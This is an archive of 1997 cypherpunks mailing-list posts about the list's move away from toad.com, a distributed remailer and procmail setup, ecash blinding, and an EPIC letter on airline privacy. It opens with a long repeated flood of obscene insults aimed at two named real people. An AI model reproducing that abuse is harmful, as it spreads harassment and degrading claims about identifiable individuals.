Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tobin Fricke" <tobin@edm.net>
Date: Wed, 12 Feb 1997 18:07:37 -0800 (PST)
To: "Moroni" <gen2600@aracnet.com>
Subject: Re: NSA Rainbow Series.
Message-ID: <199702130207.SAA13999@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>        1-800-688-6115 press 0 or just wait for the operator. My second
> order consisting of posters and video has not arrived either. It has been
> about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when
> you order the Rainbow series you will be getting a large box.Their are
> something like 30+ booklets in the series.
>         There is a set of security posters  that include a Santa
> poster.And there is also a video with two films on it (Acess Ins and outs
> adb Acess Control).

How much does all this stuff from the NSA cost?

Tobin Fricke
(please reply privately, tobin@mail.edm.net)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Feb 1997 15:14:13 -0800 (PST)
To: "Jonathan M. Bresler" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Need a good bi-directional mail-news gateway
In-Reply-To: <199702122057.MAA04595@toad.com>
Message-ID: <v030078efaf27fd6d6b48@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:18 pm -0500 2/12/97, Jonathan M. Bresler <jmb@frb.gov> wrote:
                                                   ^^^^^^^
>	your expected mail volume is 100,000+ messages a day?
>
>	i run lists that do 200,000+ routinely.
>	recent peak of 350,000 messages
>
>	does that meet your needs?

Great.

Let's run cypherpunks with a government subsidy.

;-).

Pulling your leg, just a bit..

Cheers,
Bob Hettinga

"So much for a geodesic monitary system..."


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 12 Feb 1997 12:28:25 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702121825.LAA11266@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


    maybe relief is in sight; can we spell excedrin?

on or about 970211:1433 educom@elanor.oit.unc.edu said:

+COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL

+A U.S. district court in Ohio has granted CompuServe's request for a
+preliminary injunction barring Cyber Promotions Inc. from sending
+unsolicited e-mail to its subscribers while the commercial provider
+pursues its lawsuit against Cyber Promotions.  The injunction was
+granted after Cyber Promotions foiled CompuServe's initial attempts to
+block its messages by falsifying the point-of-origin information on
+its e-mail messages and by configuring its network servers to conceal
+its actual Internet domain name. "To the extent that defendant's
+multitudinous electronic mailings demand the disk space and drain the
+processing power of plaintiff's computer equipment, those resources
+are not available to CompuServe subscribers," the court reasoned.  In
+addition, because many subscribers had complained to CompuServe about
+the mailings, the court found that Cyber Promotions' intrusions
+constituted "harm" as well as trespassing under common tort law. The
+court found that the "plaintiff is not a government agency or a state
+actor which seeks to preempt defendants' ability to communicate but is
+instead a private actor trying to tailor the nuances of its service to
+provide maximum utility to its customers."  (BNA Daily Report for
+Executives 7 Feb 97)
 ___________________________________________________________attila_____
   "The only difference between me and a madman
    is that I am not mad." 
        --Salvador Dali ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Bray <tbray@textuality.com>
Date: Wed, 12 Feb 1997 18:47:35 -0800 (PST)
To: "Timothy C. May" <ichudov@algebra.com>
Subject: Re: List for discussing many majordomos
Message-ID: <3.0.32.19970212184421.00aae098@pop.intergate.bc.ca>
MIME-Version: 1.0
Content-Type: text/plain


some idiot subscribed me.

I know how to use majordomo
I know how to read mail headers
Majordomo says that the address that it is sending this shit to is not
 on the list
Much & all as I sympathize with the ethos and practice of cypherpunkery,
 please stop.  
I have asked in the proper approved way many times, and am still deluged.  
GET ME OFF THIS LIST!
Thank you.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 15:50:13 -0800 (PST)
To: ravage@einstein.ssz.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <01IFC7EUTVMO9AN9SS@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@einstein.ssz.com"  "Jim Choate" 12-FEB-1997 18:43:56.23

> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>

>> 	Umm... because you'll eventually accumulate _lots_ of addresses
>> that don't work, which will slow things down tremendously in sending
>> mail out?

>The current subscription is between 1,000 and 2,000 I don't think that is
>_lots_. All we need to do is count the number of bounces per address in
>a given period, the SSZ end is trying to decide between weekly or
>monthly cleanings, and then clear that address. At no point would I need
>to archive the original bounce.

	Someone with more experience correct me if I'm wrong (I'm just
starting to learn about mailing list management), but isn't saving
at least the first bounce from a given address good in order to check
what address is the one that's actually bouncing? Admittedly, this only
applies to badly-formed bounces. The rest can just have the address
noted.

>> 	Well, loki@cyberpass.net has made the offer to host the entire
>> list... and Lance is certainly making money at it. While this would have
>> some problems in comparison with the distributed list idea (namely more of
>> a choke point), it would decidedly help.

>I certainly hope they get a cpunks address made available. I will certainly
>subscribe cpunks@ssz so that the distributed remailer will benefit from 
>that input. However, one of the major realizations is that as long as one
>anything is involved in the list it is capable of being shutdown at any
>time with no warning. It also makes it much easier to compromise. I would
>like to see servers in several countries myself.

	Agreed.

>> >Is anyone interested in acting as a mail-to-news gateway?

>Want to volunteer?

	Give me some idea of how much programming knowledge, time, etcetera
is required, please, before I can answer. I'd be renting space on some other
computer (e.g., an account on cyberpass.net) to do it in; the only higher-level
programming language (i.e., beyond Applesoft Basic) that I know anything of
is Perl (and I don't know that all that well); and I am somewhat busy with
other stuff. In other words, it depends.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 16:52:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702130059.SAA02356@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 12 Feb 1997 18:47 EDT
> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>
> Subject: Re: Cypherpunks Distributed Remailer (fwd)
> 
> 	Someone with more experience correct me if I'm wrong (I'm just
> starting to learn about mailing list management), but isn't saving
> at least the first bounce from a given address good in order to check
> what address is the one that's actually bouncing? Admittedly, this only
> applies to badly-formed bounces. The rest can just have the address
> noted.

Hmmm, I can see saving the address causing the bounce in some sort of array
that is indexed to the majordomo subscription list for a given remailer. It
would not cost anything but overhead to save the entire message. I guess my
motivation was not that I cared their mailbox was full or it was a invalid
address but that I wouldn't be able to deliver at this time. I just don't
see any reason that it helps me to know why they can't receive mail only that
they can't.

> >Want to volunteer?
> 
> 	Give me some idea of how much programming knowledge, time, etcetera
> is required, please, before I can answer. I'd be renting space on some other
> computer (e.g., an account on cyberpass.net) to do it in; the only higher-level
> programming language (i.e., beyond Applesoft Basic) that I know anything of
> is Perl (and I don't know that all that well); and I am somewhat busy with
> other stuff. In other words, it depends.

Hmmm, not shure how much programming it would take - never done it myself.
I think Perl would be an acceptable language. I certainly hope to do the
majority of the scripts on the CDR in Perl myself. Perhaps there is somebody
who knows the fine points of how INN cache's messages. Redbeard and I had a
short discussion about this issue today relating to tracking messages to
reduce mail-loops. I will discuss it with him and see what happens.

I know exactly what you mean. I have two full-time jobs and hadn't really
thought of taking on the cpunks list in any manner. But hey, that is the
spice in life...

Give me a couple of days to look at the situation and if somebody don't beat
me to it I'll post what I find out. Cool?

                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "KENNETH A. LEONE" <70401.3161@CompuServe.COM>
Date: Wed, 12 Feb 1997 16:17:23 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Remove My Name
Message-ID: <970213001348_70401.3161_IHD85-1@CompuServe.COM>
MIME-Version: 1.0
Content-Type: text/plain


I CONTINUE TO  RECEIVE MAIL.  PLEASE REMOVE MY NAME FROM THE MAILING LIST.
THANK YOU





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 19:05:23 -0800 (PST)
To: Moroni <tobin@edm.net>
Subject: Re: NSA Rainbow Series.
In-Reply-To: <199702150204.VAA07451@ns1.scranton.com>
Message-ID: <v03007816af283687d31d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:53 PM -0500 2/12/97, Moroni wrote:
>       Zip,NAda,Nothing. And they have more too. They were backlogged so
>some people haven't gotten their mail since I last posted about. I called
>yesterday about my videos and posters and lo and behold I received my two
>tech manuals today.
>       The people who answer the lines are friendly and usually pretty
>industrious in getting things out or done.
>       By the way there is supposed to be a department split in the near
>future so I don't know if manuals will be in one department and posters in
>another or what.

By the way, I say "FORGET IT" to the NSA Rainbow manuals. A worthless pile
of crap.

I subscribed to them several years ago, got the Big Box of Manuals, and
then got  new editions every few months for several years. None of them
were ever useful to me in even the slightest way.

They are written in "bureaucratese," so they're not even fun reading.

If they're not on the Web by now it just shows what a sicko government
agency the NSA and NCSA is, and if they _are_ on the Web, you'll see what I
mean quickly enough.

Even for "novelty value" ("Hey, Tim, the mail guy just delivered a package
from the National Security Agency!") the books are worth very little.

Do a tree a favor and just say No to the Rainbow series.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 17:12:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)
Message-ID: <199702130118.TAA02401@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 12 Feb 1997 16:22:28 -0800
> From: "Timothy C. May" <tcmay@got.net>
> Subject: Re: Recommendation: Creation of "alt.cypherpunks"

> I was making the point that _any_ site distributing a list is likely to
> face legal pressures not to carry certain items. Read between the lines (or
> read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and
> the products of Sandy's company, and legal pressures applied, to see what I
> mean.

This is exactly the reason that my suggestion to anyone setting up a
remailer with any sort of controversial content should do it as some sort of
outreach of their business. It is too expensive in time, money, and hassles
to do for grins and giggles.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 17:22:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Network of majordomos (fwd)
Message-ID: <199702130129.TAA02488@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 13 Feb 1997 00:04:44 +0000
> From: paul@fatmans.demon.co.uk
> Subject: Re: Network of majordomos


> Charter:
> 
> alt.cypherpunks will serve as a discussion forum for the members of 
> the cypherpunks community. The discussion group previously resided on 
> a mailing list run at toad.com but due to a difference of opinion 
> between the majority of active members of the list and the owner of 
> toad.com, John Gilmore, the list must now relocate onto usenet as a 
> temporary measure while further measures are put in place to 
> re-establish a mailing list format. The group has approximately 1500 
> members and has been active online for some 5 years.

I would like to see that 'temporary measure' changed to one means of
distribution and a resource in addition to the remailer chain. I would
really like to see this stay in place.



                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Feb 1997 16:37:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Shameless FC97 Plug: (Was Re: anonymity and e-cash)
In-Reply-To: <199702122350.PAA14364@you.got.net>
Message-ID: <v030078f5af2811230cfc@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:08 pm -0500 2/12/97, Tim May wrote:

>This "disintermediates" the process, and makes for an "everyone a mint"
>situation, which has some of the same nice properties that an "everyone a
>remailer" ecology of remailers and users has.

And, of course, Ian's going to teach all this fun stuff in Anguilla next week.

;-).

E-mail me, and I'll refresh your memory with a workshop program, or just
click on the FC97 URL in my .sig, below. We have lots of room. Just don't
take American, though American Eagle's okay...

Shamelessly yours,
P. T. Hettinga
Promotional Chairman,
FC97 Workshop, Conference, and Exhibition

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 12 Feb 1997 16:42:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymity and e-cash
In-Reply-To: <m2zpx9lfrz.fsf@clouds.heaven.org>
Message-ID: <Pine.LNX.3.95.970212194144.3162A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On 12 Feb 1997 janke@unixg.ubc.ca wrote:

> It's not too hard: The payee forwards a blinded, non-signed coin
> to the payer. The payer has the bank sign this, and then returns
> it to the payee who strips out the blinding factor.

This is correct except for the fact that the payer also has to apply a blinding
factor to the coin, thus making it a "double-blinded" coin.  It gets signed by
the bank, the payer divides the coin by the blinding factor and sends it to
the payee, who then strips out his blinding factor.  Ecash coins can also be
laundered making the above scheme mostly unnecessary.  Since most people will
probably not look upon fully anonymous ecash highly, laundering will be a more
popular option as it cannot be prevented.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Wed, 12 Feb 1997 20:10:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New group
Message-ID: <3.0.32.19970212200548.01571d64@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:38 AM 2/12/97 -0800, Dale Thorn <dthorn@gte.net> wrote:
>Paul Bradley wrote:
>> Well despite the obvious problems of propogation I thought it was time
>> someone actually did something to get us a new home, even if it`s only
>> temporary. So I have created alt.cypherpunks... See you all over on
>> usenet!...
>
>I pressed the URL alt.cypherpunks and my Netscape server said
>"no such thing" or words to that effect.

It has to be created on your local server, Dale.

Wait a bit, and if doesn't show up speak to someone st your ISP.


Rich


______________________________________________________________________
Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb
U.S. State Censorship Page at - http://www.teleport.com/~richieb/state
dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <banisar@epic.org>
Date: Wed, 12 Feb 1997 17:54:32 -0800 (PST)
To: misc@epic.org
Subject: Coalition Letter on Privacy and Airline Security
Message-ID: <v03020901af281e7e656c@[204.91.138.84]>
MIME-Version: 1.0
Content-Type: text/plain


A HTML version of this is available at
http://www.epic.org/privacy/faa/airline_security_letter.html


February 11, 1997

Vice President Albert Gore, Jr.
The White House
1600 Pennsylvanpia Ave, NW
Washington, DC 20500

Dear Mr. Vice President,

	We are writing to you to express our views on the serious civil
liberties issues raised by recent government activities in the name of
airline security.  These include recent orders issued by the Federal
Aviation Administration, and also proposals recommended by the White House
Commission on Aviation Safety and Security and the FAA Advisory Aviation
Security Advisory Committee.

	Many of these proposals were developed in the highly-charged
atmosphere following the still-unsolved crash of TWA Flight 800 and reflect
a misguided rationale that something had to be done, no matter how marginal
in value or violative of individual rights.

	We all feel strongly that air travel must be safe - nobody wants to
feel that to set foot on an airplane or an airport is to take a substantial
safety risk.  However, basic civil liberties protected by the Constitution
should not be sacrificed in the name of improving air safety, especially
where the potential benefits are questionable.  At the airport ticket
counter, passengers check their luggage, not their constitutional rights.


Identification

	One area of concern is a secret FAA order issued in August 1995 and
apparently revised in October 1995. The FAA order purportedly requires
airlines to demand government-issued photo identification from all
passengers before they can board an airplane.  It remains unclear whether a
passenger must provide that identification and what discretion an airline
has to allow, or refuse, any passenger to board if they refuse to provide
identification or simply do not have any available.

	Americans are not required to carry government-issued
identification documents. Any requirement that passengers show
identification raises substantial constitutional questions about
violations of the rights to privacy, travel, and due process of law.  The
Supreme Court has consistently struck down laws that interfere with the
constitutional right to travel.  The Court has also overturned laws in a
variety of circumstances that require an individual to provide
identification in the absence of any specific suspicion that a crime has
been committed.  In addition, it is unclear that requiring passenger
boarding an aircraft to identify him or herself actually makes the people
with whom they travel any safer. A bomber with a fake ID is just as
effective as a bomber with no ID.

	We urge the FAA to withdraw its directive and to notify airlines
that identification should not be requested for security reasons.  At a
minimum, the FAA should require airlines to post notices telling passengers
that they cannot be denied boarding just because they fail or refuse to
identify themselves.


Computer Databases and Profiling

	Another major concern involves the proposed increased utilization
of the practice of "profiling" passengers to determine whether they pose a
security risk and should thus be searched. This would require the
collection of personal information on passengers prior to their boarding a
plane.  Information that may be collected includes a picture or other
biometric identifier, address, flying patterns with a particular airline,
bill paying at a particular address, criminal records, and other
information. This, and information gleaned from observing the persons with
whom the passenger was traveling, would be fed into a computer data base
that would be used to decide whether the passenger "fits the profile" and
should be subjected to heightened security measures.  Under this proposal,
the checked luggage of people selected by the computer would be scanned by
new sophisticated scanning devices.

	The risks to privacy are enormous and run not only to those who
"fit the profile." For this system to be useful, it must apply to every
person who might take a flight, i.e., to everybody. A new government
dossier on everyone would have to be created, computerized, and made
accessible to airline personnel.

	In addition, for the system to be useful, it would have to be
linked to other data bases and constantly updated. Each time a person
changes their address or takes another flight, or does anything related to
the characteristics about them deemed significant by the profiling system,
the government would track it. All of our experience with the creation and
updating of such ever-changing data bases teaches us that the likelihood of
inaccuracy at any given moment is high.  The FBI, for instance, recognizes
that data in its computer system  of criminal records has an inaccuracy
rate of 33 percent. Such inaccuracy would lead to both a breach of safety
and to violations of the rights of innocent people. This proposal is a
quick fix that won't fix anything.

	The proposal also violates a central principle of the Code of Fair
Information Practices and the Privacy Act (5 U.S.C § 552a): information
given to the government for one purpose ought not be used for other
purposes without the consent of the person to whom it pertains. The use of
criminal records in such a data base, particularly where those records
include arrests that do not result in convictions, is particularly
troubling.

	Profiling also frequently leads to discriminatory practices.
Already, we have received numerous reports of discrimination against
individuals and families with children who have been refused entry onto
aircraft because their names appeared to be of Middle-Eastern origin. In
the well publicized example of security guard Richard Jewel, reports
indicated that the FBI profile led the police to unfairly target Mr. Jewel
for the incident, even in the absence of other evidence. This incident
vividly shows the limitations of basing a law enforcement decision on a
profile.

	We urge the FAA and airlines to discontinue the use of passenger
profiling.

X-Ray Cameras

	We also view with concern proposals to install  in airports new
cameras which can depict highly detailed images of individuals' bodies
under their clothes.  Existing scanners, the development of which was
partially funded by the FAA, already show a revealing and invasive picture
of a naked body in high detail and the technology is likely to improve.
This is clearly a search under the Fourth Amendment and is far more
intrusive than a standard metal screening device.  Passengers should not be
subject to an "electronic strip search" in order to board an aircraft. To
expose travelers' anatomies to the general public or even to selected (not
by the victim of the unreasonably intrusive search) strangers is extremely
embarrassing and shocking to the conscience.

	We urge the FAA to reject proposals to use body scanners capable of
projecting an image of a person's naked body.

Secrecy

	Much of the key decision-making surrounding these proposals has
been shrouded by secrecy. The FAA has claimed that it is exempt from open
government laws and has refused to release its directives on profiling and
identification. Relevant meetings have been closed to the public or limited
to participants who can afford to pay expensive fees.

	We urge the FAA to publish its directives and open all further
decision making open to public scrutiny.

Conclusion

	In conclusion, we believe that these proposals raise grave
constitutional issues and are likely to produce only minimally beneficial
results to improve airline safety. We urge the FAA and the advisory
commissions to focus their efforts on improving security in a balanced and
rational manner that is open to public scrutiny and consistent with
constitutional rights.


Sincerely,


Houeida Saad
American-Arab Anti-Discrimination Committee

Greg Nojeim
American Civil Liberties Union

Maher Hanania
American Federation of Palestine

James Lucier, Jr., Director of Economic Research
Americans for Tax Reform

Aki Namioka, President
Computer Professionals for Social Responsibility

Lori Fena, Executive Director
Electronic Frontier Foundation

David Banisar, Staff Counsel
Electronic Privacy Information Center

Ned Stone
Friends Committee on National Legislation

Judy Clarke, President
National Association of Criminal Defense Lawyers

Kit Gage, Washington Representative
National Committee Against Repressive Legislation

Audrie Krause, Executive Director
NetAction

Sharisa Alkhateeb
North American Council of Muslim Womem

Simon Davies, Director General
Privacy International

Robert Ellis Smith, Publisher
Privacy Journal

Evan Hendricks, Chairman
US Privacy Council and Publisher, The Privacy Times

Enver Masud
Executive Director
The Wisdom Fund

John Gilmore
Civil Libertarian and co-founder, The Electronic Frontier Foundation


-------
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003    * PGP Key
http://www.epic.org/staff/banisar/key.html             






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 18:55:34 -0800 (PST)
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: subscribe
In-Reply-To: <199702130252.UAA02738@einstein>
Message-ID: <199702130248.UAA11775@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate wrote:
> 
> 
> Hi Igor,
> 
> > I will not impact me negatively. I do, however, suggest very strongly
> > that hosts should be subscribed to each other thgrough another mechanism
> > and not majordomo, in order to prevent mail loops, header rewriting and such.
> 
> Suggestions? What I had in mind was that any messages that get sent on
> cpunks@ssz.com get sent over to algebra. One mechanism I would like to play
> with is a 'linked list' of remailers. Remailer A sends only to B and
> receives only from C...
> 
> 
>                                A
>                              ^   v
>                              C < B

> Then to stop loops B deletes all outgoing mail from B. Since email can be
> forwarded from many sites the search must traverse the entire forward chain
> killing the message if B appears as a source. I suspect a simple procmail sort
> can accomplish this. My next step is to brush up on my procmail. I hope to
> have something in a couple of days that will allow you to subscribe
> cpunks@algebra to cpunks@ssz and both ends will be filtering.

Here's how I do it (it is pretty close to your proposal): 

1) I delete duplicate messages (by looking up the database of
message-IDs) right away
2) I bounce all incoming messages to several other list servers
3) I pipe the article to majordomo for distribution.

Note that majordomo changes headers and I wuold like to feed
other servers with UNCHANGED articles.

Here's the .procmailrc that takes care of this:

(OTHER_HOSTS will be redefined to include, e.g., cypherpunks@ssz.com)

# Please check if all the paths in PATH are reachable, remove the ones that
# are not.
#
# NOTE: I use lockfiles extensively (and even excessively) because
# I do not want to overburden the system. Since I am on a
# PPP link that is not always on, sometimes large amounts of 
# submissions come in simultaneously and that may impair
# performance of the overall system. You do not REALLY need
# to use these lockfiles otherwise.
###################################################################

PATH=/bin:/usr/bin:/usr/local/bin:$HOME/bin
MAILDIR=$HOME/Mail	# You'd better make sure it exists
DEFAULT=$MAILDIR/mbox
# VERBOSE=ON
LOGFILE=$MAILDIR/from
LOCKFILE=$HOME/.lockmail

OTHER_HOSTS="cypherpunks@zzzz.com"

:0 c
$MAILDIR/allmail

############################################################ mailbombing
############################################################ end mailbombing

:0
* ^TOcypherpunks
* !^X-Loop:
* !FROM_MAILER
* !FROM_DAEMON
{
  #
  # This recipe removes duplicates!
  #
  :0 Wh: msgid.lock
  | formail -D 128000 msgid.cache

  # send it to all other hosts
  :0 c
  !$OTHER_HOSTS

  # add X-Loop:
  :0 fhw
  | formail -I "X-Loop: cypherpunks@algebra.com"

  # send it to people
  :0 c
  | cypherpunks-send-subscribers

  # Accounting, logging
  :0
  | cypherpunks-accounting
}

:0:
* ^TOcypherpunks-request
$DEFAULT

# all the rest is trash
:0
$DEFAULT

# thats where it should be
#/dev/null

> Another nice advantage of this architecture is that 'rings' of remailers can
> be interconnected by simply sending output to more than one site. Might even
> be a good stability rule, "Never have a remailer send to more than 1 machine
> in its 'own' ring". I see no limit other than resources that would limit the
> number of rings an individual remailer might be in.

A very good point.

> The address is 'cypherpunks@ssz.com' but as alluded to above. I would  like
> to let it run 1 way for a day or so to get an idea of the stability of our
> network link. You might consider creating a bogus username on your end.
> Subscribe that user to the SSZ remailer and to your own mail list. Then use
> procmail to filter all outgoing mail of that user since its incoming would
> be from your list and its outgoing would go to mine, which then forwards
> them to your list. We might want to call the bogus user 'gatekeeper'.

Yes, we really should make darn sure that no loops are poissible
before inviting people to subscribe to our lists.

> If its agreeable lets get together on the cpunks-hosts list tomorrow and
> discuss this a little more.
> 
> If you don't mind, please forward this to the cpunks@toad list with your
> responces. I would like to expose it to a little criticism.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 18:55:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks Distributed Remailer
Message-ID: <199702130302.VAA02808@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

We have established the first link between cypherpunks@ssz.com and
cypherpunks@algebra.com. Testing will continue for about 24 hours and we
hope to have the link going two-way within a couple of days.

If testing proceeds at the current pace we should be ready to go for a 3-way
link if anyone will be ready this weekend. If we can get a 3-way going we
should be ready for prime time.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 12 Feb 1997 13:15:12 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Network of majordomos
In-Reply-To: <855766182.518362.0@fatmans.demon.co.uk>
Message-ID: <199702122106.VAA02068@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:
> > Greg Broiles wrote:
> > > I sent a proposal to alt.config last night and intend to newgroup 
> > > alt.cypherpunks in a week or so
> 
> 
> Greg.
> 
> Don`t bother, I have already drawn up a draft charter and newsgrouped 
> it. Wouldn`t have bothered if I knew you were already on it but I 
> didn`t see your post in alt.config...
> 
> Seeya there...

What was your chater?  Could you Cc a copy to the list?

Adam
--
